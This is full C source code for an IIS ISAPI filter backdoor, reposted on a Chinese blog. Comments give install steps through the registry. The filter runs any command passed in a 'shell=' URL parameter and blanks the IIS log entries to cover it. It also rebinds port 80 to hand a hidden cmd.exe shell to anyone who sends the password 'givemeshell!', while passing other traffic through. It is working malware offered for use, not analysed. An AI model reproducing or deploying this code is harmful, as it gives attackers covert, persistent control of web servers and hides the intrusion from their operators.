Win32 ISAPI/Filter BackDoor V0.10

 
//**********************************************************************
//
// Win32 ISAPI/Filter BackDoor V0.10.
// By Lion, http://www.cnhonker.com
//
// 使用方法:
// 1. 通过注册表键
//
// [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/W3SVC/Parameters]
// "Filter DLLs"="c://winnt//system//inetsrv//filter.dll"
//
// 重启IIS服务
//
// 2. 通过 Internet管理器 -> ISAPI筛选器 添加
//
//**********************************************************************

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <httpfilt.h>
#include <EXCPT.H>
#include <WTYPES.H>
//#include <winsock2.h>

#pragma comment (lib,"Ws2_32.lib")

#define PORT 80
#define PASS "givemeshell!"
#define LOGFILE "c://log.txt"
#define BUFFER_SIZE 200
#define TIMEOUT 10
#define PROMPT "# "

// 会话数据类型定义
typedef struct
{
  // Session 建立时创建
  HANDLE ReadPipeHandle;   // stdout 输出管道
  HANDLE WritePipeHandle;  // stdin 输入管道
  HANDLE ProcessHandle;   // Shell 进程句柄
  // 当有连接进来时创建
  SOCKET ClientSocket;   // 客户端Socket
  HANDLE ReadShellThreadHandle; // 读取数据线程
  HANDLE WriteShellThreadHandle; // 写数据线程序

} SESSION_DATA, *PSESSION_DATA;


DWORD WINAPI ClientThread(LPVOID lp);
DWORD WINAPI ReBindShell(LPVOID);
DWORD WINAPI LogToFile(char *buf);
DWORD WINAPI BindShell(LPVOID);
VOID GetShell();
VOID SlowSend(char* sendbuf, int iTime);

// 全局变量
BOOL bLog =true;
char host[32];
int port=PORT;
HANDLE hReBind,TempExeHandle;
DWORD dThreadId;
SOCKET s, ClientSock;
char *messages = "============================= HFilter BackDoor V0.10 =========================="/
    "/r/n=============== Code by Lion. Welcome to http://www.cnhonker.com ==============/r/n";



// DLL Main

BOOL APIENTRY DllMain( HANDLE hModule,
 DWORD ul_reason_for_call,
 LPVOID lpReserved )
{
switch( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH:
{
break;
}

//case DLL_THREAD_ATTACH:
//case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:
{
break;
}
}

return TRUE;
}

// GetFilterVersion - IIS 加载Filter时要调用的函数.

BOOL WINAPI GetFilterVersion(HTTP_FILTER_VERSION * pVer)
{
// 设置Filter的标志, 它决定能收到的处理信号

  pVer->dwFlags = (
SF_NOTIFY_SECURE_PORT |
SF_NOTIFY_NONSECURE_PORT |
// SF_NOTIFY_SEND_RESPONSE |
// SF_NOTIFY_END_OF_NET_SESSION |
// SF_NOTIFY_READ_RAW_DATA |
// SF_NOTIFY_SEND_RAW_DATA |
SF_NOTIFY_LOG|
SF_NOTIFY_ORDER_HIGH);


  pVer->dwFilterVersion = HTTP_FILTER_REVISION;

strcpy( pVer->lpszFilterDesc, "HUC Filter V1.0" );
return TRUE;
}


// HttpFilterProc - IIS 加载Filter时要调用的函数.
// Filter 主函数

DWORD WINAPI HttpFilterProc(HTTP_FILTER_CONTEXT *pfc,
DWORD NotificationType,
VOID * pvNotification)
{
// OutputDebugString("Entered HttpFilterProc/n"); 

switch (NotificationType)
{
case SF_NOTIFY_LOG:
{
PHTTP_FILTER_LOG pLogData;
char Buff[4096];
TCHAR sz[2560];
ULONG i;

pLogData = (PHTTP_FILTER_LOG)pvNotification;
sprintf(sz, "Client: %s , Server: %s/r/n",
pLogData->pszClientHostName,
pLogData->pszServerName);

// 判断是否是我们的后门参数
// 表现为 http://host.ip/any.asp?shell=xxxxxx
i=4096;
memset(Buff,0, i);
pfc->GetServerVariable(pfc, "QUERY_STRING", Buff, &i);

if(strstr(Buff, "shell="))
{
LogToFile(sz);
LogToFile(Buff);
LogToFile("/r/n/n");

char *p;

p=strstr(Buff, "shell=")+6;

// 判断我们的命令处理参数
if(stricmp(p, "rebindshell")==0)
{
if(hReBind)
{
LogToFile("ReBindShell error./r/n");
}
else
{
hReBind = CreateThread(NULL,0, ReBindShell,(LPVOID)NULL,0, &dThreadId);
if(hReBind==NULL)
{
LogToFile("ReBindShell Thread Creat Failed!/r/n/n");
}
else
{
LogToFile("ReBindShell Thread Creat Sussess!/r/n/n");
}
}
}
else if(stricmp(p, "stopbind")==0)
{
if(hReBind)
TerminateThread(hReBind, 0);
if(hReBind)
CloseHandle(hReBind);
if(ClientSock)
closesocket(ClientSock);
if(s)
closesocket(s);

hReBind = NULL;
LogToFile("Closed Re BindShell./r/n");
}
else
{
LogToFile("System : ");
LogToFile(p);
system(p);
}

// 清除IIS日志
*(char *)pLogData->pszClientUserName = NULL;
*(char *)pLogData->pszClientUserName = NULL;
*(char *)pLogData->pszServerName = NULL;
*(char *)pLogData->pszOperation = NULL;
*(char *)pLogData->pszTarget = NULL;
*(char *)pLogData->pszParameters = NULL;
*(char *)pLogData->dwHttpStatus = NULL;
*(char *)pLogData->dwWin32Status = NULL;
*(char *)pLogData->dwBytesSent = NULL;;
*(char *)pLogData->dwBytesRecvd = NULL;
*(char *)pLogData->msTimeForProcessing = NULL;

// return SF_STATUS_REQ_FINISHED;
}
else
{
LogToFile("Get Other: ");
LogToFile((char *)pLogData->pszTarget);
LogToFile("/r/n/n");
}
}
break;

default:
break;
}

return SF_STATUS_REQ_NEXT_NOTIFICATION;
}



BOOL WINAPI TerminateFilter( DWORD dwFlags )
{
return true;
}

// 重绑定端口并执行shell
DWORD WINAPI ReBindShell(LPVOID)
{
  BOOL val;
  SOCKADDR_IN saddr;
  SOCKADDR_IN scaddr;
  int caddsize;
SOCKET sc;

WSADATA wsaData;
WORD wVersionRequested;

wVersionRequested = MAKEWORD( 2, 2 );
  if(WSAStartup( wVersionRequested, &wsaData ) != 0)
{
LogToFile("Start Socket error!/r/n");
return -1;
}

  saddr.sin_family = AF_INET;

struct hostent * hp;
unsigned char LocalName[256];

// 取得本地IP地址
gethostname((char*)LocalName, sizeof(LocalName)-1);
if((hp = gethostbyname((char*)LocalName)) == NULL)
{
LogToFile("Get local IP -Gethostbyname failed!/r/n");
return -1;
}

  // 应该指定具体的IP,留下127.0.0.1给正常的服务应用
// 然后利用这个地址进行转发,就可以不影响对方正常应用了
  
// Socket Init.
memset(&saddr,0,sizeof(saddr));
memcpy(&saddr.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length); // TCP Sniffer
  saddr.sin_port = htons(port);
saddr.sin_family = AF_INET;
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
   LogToFile("error!socket failed!/n");
   return -1;
  }

  val = TRUE;

  // 设置SO_REUSEADDR 实现端口重绑定的
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  {
   LogToFile("error!setsockopt failed!/n");
   return -1;
  }

  // 如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
   LogToFile("error!bind failed!/n");
   return -1;
  }
 
listen(s,2); 
  while(1)
  {
HANDLE mt;
   caddsize = sizeof(scaddr);

   //接受连接请求
   sc = accept(s,(struct sockaddr *)&scaddr, &caddsize);
   if(sc!=INVALID_SOCKET)
   {
DWORD tid;

// 创建一个线程处理客户端的连接
    mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
    if(mt==NULL)
    {
     LogToFile("Thread Creat Failed!/n");
     break;
    }
LogToFile("Get a Connect!/r/n");
   }
   CloseHandle(mt);
  }

  closesocket(s);
  return 0;
}

DWORD WINAPI ClientThread(LPVOID lp)
{
  SOCKET ss = (SOCKET)lp;
  SOCKET sc;
  char buf[4096], sendbuf[1024];
  SOCKADDR_IN saddr;
  long num;
  DWORD val;
int times = 0;

  // 如果是隐藏端口应用的话,可以在此处加一些判断
  // 如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发

  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  saddr.sin_port = htons(port);

  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
   LogToFile("error!socket failed!/n");
   return -1;
  }

  val = 100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
   return -1;
  }

val = TIMEOUT*1000;
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
   return -1;
  }

  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  {
   LogToFile("error!socket connect failed!/n");
   closesocket(sc);
   closesocket(ss);
   return -1;
  }

while(1)
  {
   // 下面的代码主要是实现通过127.0.0.1这个地址把包转发到真正的应用上,
// 并把应答的包再转发回去。
  
num = recv(ss, buf, 1024,0);
   if(num>0)
{
times ++;
if(times == 1 && strstr(buf, PASS) && num>0)
{
sprintf(sendbuf, "give me shell!/r/n");
LogToFile(sendbuf);
// send(ss, sendbuf, strlen(sendbuf), 0);
if(sc)
closesocket(sc);

ClientSock = ss;
GetShell();
}
else
{
send(sc,buf,num,0);
}

}
else if(num==0) break;

   num = recv(sc,buf,1024,0);
   if(num>0)
    send(ss,buf,num,0);
   else if(num==0) break;
  }

  closesocket(ss);
  closesocket(sc);
  return 0 ;
}


DWORD WINAPI LogToFile(char *buf)
{
if(bLog)
{
FILE *log;

if( (log=fopen(LOGFILE,"a+"))!=NULL )
{
fputs(buf, log);
fclose(log);
return 0;
}
}

return 1;
}

//********************************************************************************
//                    //
// 创建会话 (From nc.exe)              //
//                    //
// 创建一个新的会话, 包括创建一个cmd shell和两个读写管道进行相互通讯   //
// 成功执行则返回会话句柄,失败则返回NULL.          //
//********************************************************************************
PSESSION_DATA CreateSession(char *prog)
{
  PSESSION_DATA  Session = NULL;
  SECURITY_ATTRIBUTES SecurityAttributes; // 创建管道所用
BOOL Result;
  HANDLE ShellStdinPipe = NULL;
  HANDLE ShellStdoutPipe = NULL;
PROCESS_INFORMATION ProcessInformation; // 创建进程序所用
  STARTUPINFO si;

  // 为会话类型数据分配内存空间
  Session = (PSESSION_DATA) malloc(sizeof(SESSION_DATA));
  if(Session == NULL) return(NULL);

  // 初始化会话读写管道句柄
  Session->ReadPipeHandle = NULL;
  Session->WritePipeHandle = NULL;

  // 为Shell创建读写管道
  SecurityAttributes.nLength = sizeof(SecurityAttributes);
  SecurityAttributes.lpSecurityDescriptor = NULL;   // 使用默认ACL
  SecurityAttributes.bInheritHandle = TRUE;    // 设置继承句柄

// 创建读取管道
  Result = CreatePipe(&Session->ReadPipeHandle, &ShellStdoutPipe, &SecurityAttributes, 0);
  if(!Result) goto Failure;

// 创建写入管道
  Result = CreatePipe(&ShellStdinPipe, &Session->WritePipeHandle, &SecurityAttributes, 0);
  if(!Result) goto Failure;

// 创建Shell进程
  // 初始化进程启动信息
  si.cb = sizeof(STARTUPINFO);
  si.lpReserved = NULL;
  si.lpTitle = NULL;
  si.lpDesktop = NULL;
  si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
  si.wShowWindow = SW_HIDE;
  si.lpReserved2 = NULL;
  si.cbReserved2 = 0;
  si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
  si.hStdInput = ShellStdinPipe;
  si.hStdOutput = ShellStdoutPipe;

  DuplicateHandle(GetCurrentProcess(), ShellStdoutPipe,
      GetCurrentProcess(), &si.hStdError,
      DUPLICATE_SAME_ACCESS, TRUE, 0);

  if(CreateProcess(NULL, prog, NULL, NULL, TRUE, 0, NULL, NULL, &si, &ProcessInformation))
  {
   Session->ProcessHandle = ProcessInformation.hProcess;
   CloseHandle(ProcessInformation.hThread);
  }

  // 成功创建则关闭句柄
  CloseHandle(ShellStdinPipe);
  CloseHandle(ShellStdoutPipe);

  // 检测Shell进程序是否成功创建
  if(Session->ProcessHandle == NULL) goto Failure;

// 把客户端连接socket句柄传递给会话数据
  Session->ClientSocket = NULL;

  // 成功运行,返回会话数据句柄
  return(Session);

Failure:
  // 如果创建会话数据失败,则关闭已经创建的句柄,并释放内存
  if(ShellStdinPipe != NULL) CloseHandle(ShellStdinPipe);
  if(ShellStdoutPipe != NULL) CloseHandle(ShellStdoutPipe);
  if(Session->ReadPipeHandle != NULL) CloseHandle(Session->ReadPipeHandle);
  if(Session->WritePipeHandle != NULL) CloseHandle(Session->WritePipeHandle);
  free(Session);
  return(NULL);
}

//********************************************************************************
//                    //
// 读取会话线程                 //
//                    //
// 从Shell进程里读取数据,并把结果把写回连接的socket        //
//********************************************************************************
VOID SessionReadShell(LPVOID Parameter)
{
  PSESSION_DATA Session = (PSESSION_DATA)Parameter;
  BYTE Buffer[BUFFER_SIZE];
  BYTE Buffer2[BUFFER_SIZE+30];
  DWORD BytesRead;

// 检测Shell进程的读管道里是否有数据返回
  while(PeekNamedPipe(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL, NULL))
  {
DWORD BufferCnt, BytesToWrite;
   BYTE PrevChar = 0;

// 如果有数据则读取,无则返回
if(BytesRead > 0)
{
ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL);
}
else
{
Sleep(10);
continue;
}
  
   // 替换CR-LF为LF.
   for(BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++)
{
    if(Buffer[BufferCnt] == '/n' && PrevChar != '/r')
     Buffer2[BytesToWrite++] = '/r';
    PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
   }

// 把读取的数据写入客户端连接Socket.
   if(send(Session->ClientSocket, (const char*)Buffer2, BytesToWrite, 0) <= 0) break;
  }

// if (GetLastError() != ERROR_BROKEN_PIPE)
//  printf("SessionReadShellThreadFn exitted, error = %d/r/n", GetLastError());

ExitThread(0);
}


//********************************************************************************
//                    //
// 会话写进程                 //
//                    //
// 写进程,从连接Socket读取数据, 把数据写入Shell进程        //
//********************************************************************************
VOID SessionWriteShell(LPVOID Parameter)
{
  PSESSION_DATA Session = (PSESSION_DATA)Parameter;
  BYTE RecvBuffer[1];
  BYTE Buffer[BUFFER_SIZE];
  BYTE EchoBuffer[5];
  DWORD BytesWritten;
  DWORD BufferCnt, EchoCnt;
  DWORD TossCnt = 0;
  BOOL PrevWasFF = FALSE;

  BufferCnt = 0;
  // 循环从Socket读取数据 
  while(recv(Session->ClientSocket, (char *)RecvBuffer, sizeof(RecvBuffer), 0) != 0)
{ 
   EchoCnt = 0;
   Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = RecvBuffer[0];
   
if (RecvBuffer[0] == '/r') Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = '/n';

   // 如果我们接收到一个回车, 则把缓冲区数据写入到Shell进程管道
   if (RecvBuffer[0] == '/n' || RecvBuffer[0] == '/r')
// if (RecvBuffer[0] == '/n')
{
    if(!WriteFile(Session->WritePipeHandle, Buffer, BufferCnt, &BytesWritten, NULL)) break;
    BufferCnt = 0;
   }
  }
ExitThread(0);
}

//********************************************************************************
//                    //
// 为客户端连接执行命令               //
//                    //
//********************************************************************************
BOOL doexec(char *prog)
{
  PSESSION_DATA Session = CreateSession(prog);
  SECURITY_ATTRIBUTES SecurityAttributes;
  DWORD ThreadId;
  HANDLE HandleArray[3];
int i;

  SecurityAttributes.nLength = sizeof(SecurityAttributes);
  SecurityAttributes.lpSecurityDescriptor = NULL;   // 使用默认ACL
  SecurityAttributes.bInheritHandle = FALSE;    // 设置不继承句柄

// 传递Socket
Session->ClientSocket = ClientSock;

  // 创建读写会话线程
  Session->ReadShellThreadHandle = CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE)SessionReadShell,
(LPVOID)Session, 0, &ThreadId);
  if(Session->ReadShellThreadHandle == NULL)
{
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 0);
   return(FALSE);
  }

  TempExeHandle = Session->WriteShellThreadHandle = CreateThread(&SecurityAttributes, 0,
(LPTHREAD_START_ROUTINE)SessionWriteShell,
(LPVOID)Session, 0, &ThreadId);
  if(Session->WriteShellThreadHandle == NULL)
{
  TerminateThread(Session->ReadShellThreadHandle, 0);
   TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 0);
   return(FALSE);
  }

  // 等待三个句柄结束
  HandleArray[0] = Session->ReadShellThreadHandle;
  HandleArray[1] = Session->WriteShellThreadHandle;
  HandleArray[2] = Session->ProcessHandle;
  
i = WaitForMultipleObjects(3, HandleArray, FALSE, 0xffffffff);
switch(i)
{
  case WAIT_OBJECT_0 + 0:
   TerminateThread(Session->WriteShellThreadHandle, 0);
   TerminateProcess(Session->ProcessHandle, 1);
   break;
  case WAIT_OBJECT_0 + 1:
   TerminateThread(Session->ReadShellThreadHandle, 0);
   TerminateProcess(Session->ProcessHandle, 1);
   break;
  case WAIT_OBJECT_0 + 2:
Sleep(100);
TerminateThread(Session->ReadShellThreadHandle, 0);
   TerminateThread(Session->WriteShellThreadHandle, 0);
 default:
   break;
  }

  // 关闭Socket, 线程句柄, shell进程和shell读写管道,释放内存
DisconnectNamedPipe(Session->ReadPipeHandle);
  CloseHandle(Session->ReadPipeHandle);
DisconnectNamedPipe(Session->WritePipeHandle);
  CloseHandle(Session->WritePipeHandle);

  CloseHandle(Session->ReadShellThreadHandle);
  CloseHandle(Session->WriteShellThreadHandle);
  CloseHandle(Session->ProcessHandle);
  free(Session);
  return(TRUE);
}

// Give me the shell

VOID GetShell()
{
char Buff[4096], Get[10240], sendbuf[1024];

// 写欢迎信息
strcpy(sendbuf,"Welcome and have a good luck! :)/r/n");
SlowSend(sendbuf, 20);
strcpy(sendbuf,"Use /"cmd/" get cmdshell, use /"exit/" to exit!/r/n");
SlowSend(sendbuf, 10);
Sleep(100);
char szTemp[MAX_PATH],szBuff[MAX_PATH];
GetCurrentDirectory(MAX_PATH, szBuff);

DWORD len=sizeof(szTemp);
GetComputerName(szTemp,&len);
wsprintf(sendbuf, "/r/n%s/n<%s@%s>%s", messages, szBuff, strlwr(szTemp), PROMPT);
send(ClientSock, sendbuf, strlen(sendbuf), 0);

memset(Get, 0,sizeof(Get));
while(1)
{
int nByte = recv(ClientSock, Buff, 1024, 0);
if(nByte <= 0)
break;
else
Buff[nByte] = 0;

strcat(Get, Buff);
if(!strstr(Buff, "/x0a"))
{
memset(Buff, 0, sizeof(Buff));
continue;
}

// 退出Shell
if(strnicmp(Get, "exit", 4) == 0)
{
strcpy(sendbuf, "/r/nClosed! And Good bye!/r/n");
send(ClientSock, sendbuf, strlen(sendbuf), 0);
Sleep(100);
if(ClientSock)
closesocket(ClientSock);

return;
}
// 退出进程
else if(strnicmp(Get, "quit", 4) == 0)
{
strcpy(sendbuf, "/r/nQuit! And End ReBindShell now!/r/n");
send(ClientSock, sendbuf, strlen(sendbuf), 0);
Sleep(100);

if(ClientSock)
closesocket(ClientSock);

if(s)
closesocket(s);
if(hReBind)
TerminateThread(hReBind, 0);
if(hReBind)
CloseHandle(hReBind);

hReBind = NULL;
LogToFile("Closed Re BindShell./r/n");
}
// 退出进程
else if(strnicmp(Get, "cmd", 3) == 0)
{
doexec("cmd.exe");
}
else if(strlen(Get) >= 2)
{
// docommand(Get);
}

GetCurrentDirectory(MAX_PATH, szBuff);
sprintf(sendbuf, "/r/n<%s@%s>%s", szBuff, strlwr(szTemp), PROMPT);
send(ClientSock, sendbuf, strlen(sendbuf), 0);
memset(Get, 0, sizeof(Get));
memset(Buff, 0, sizeof(Buff));
strcpy(Get, "");
strcpy(Buff, "");
}

if(ClientSock)
closesocket(ClientSock);
return;
}

//********************************************************************************
//                    //
// 缓慢显示                  //
//********************************************************************************
VOID SlowSend(char* sendbuf, int iTime)
{
UINT i;
char test[2];

send(ClientSock, "/r/n", 2, 0);
Sleep(100);
send(ClientSock, "-", 1, 0);
Sleep(100);
send(ClientSock, ">", 1, 0);
Sleep(100);
send(ClientSock, " ", 1, 0);
Sleep(100);
for(i=0; i < strlen(sendbuf); i++)
{
test[0]=sendbuf[i];
test[1]=0;
send(ClientSock, test, strlen(test), 0);
Sleep(iTime);
}
}
 
发布者: lion
来源: http://www.cnhonker.com

 

你可能感兴趣的:(Win32 ISAPI/Filter BackDoor V0.10)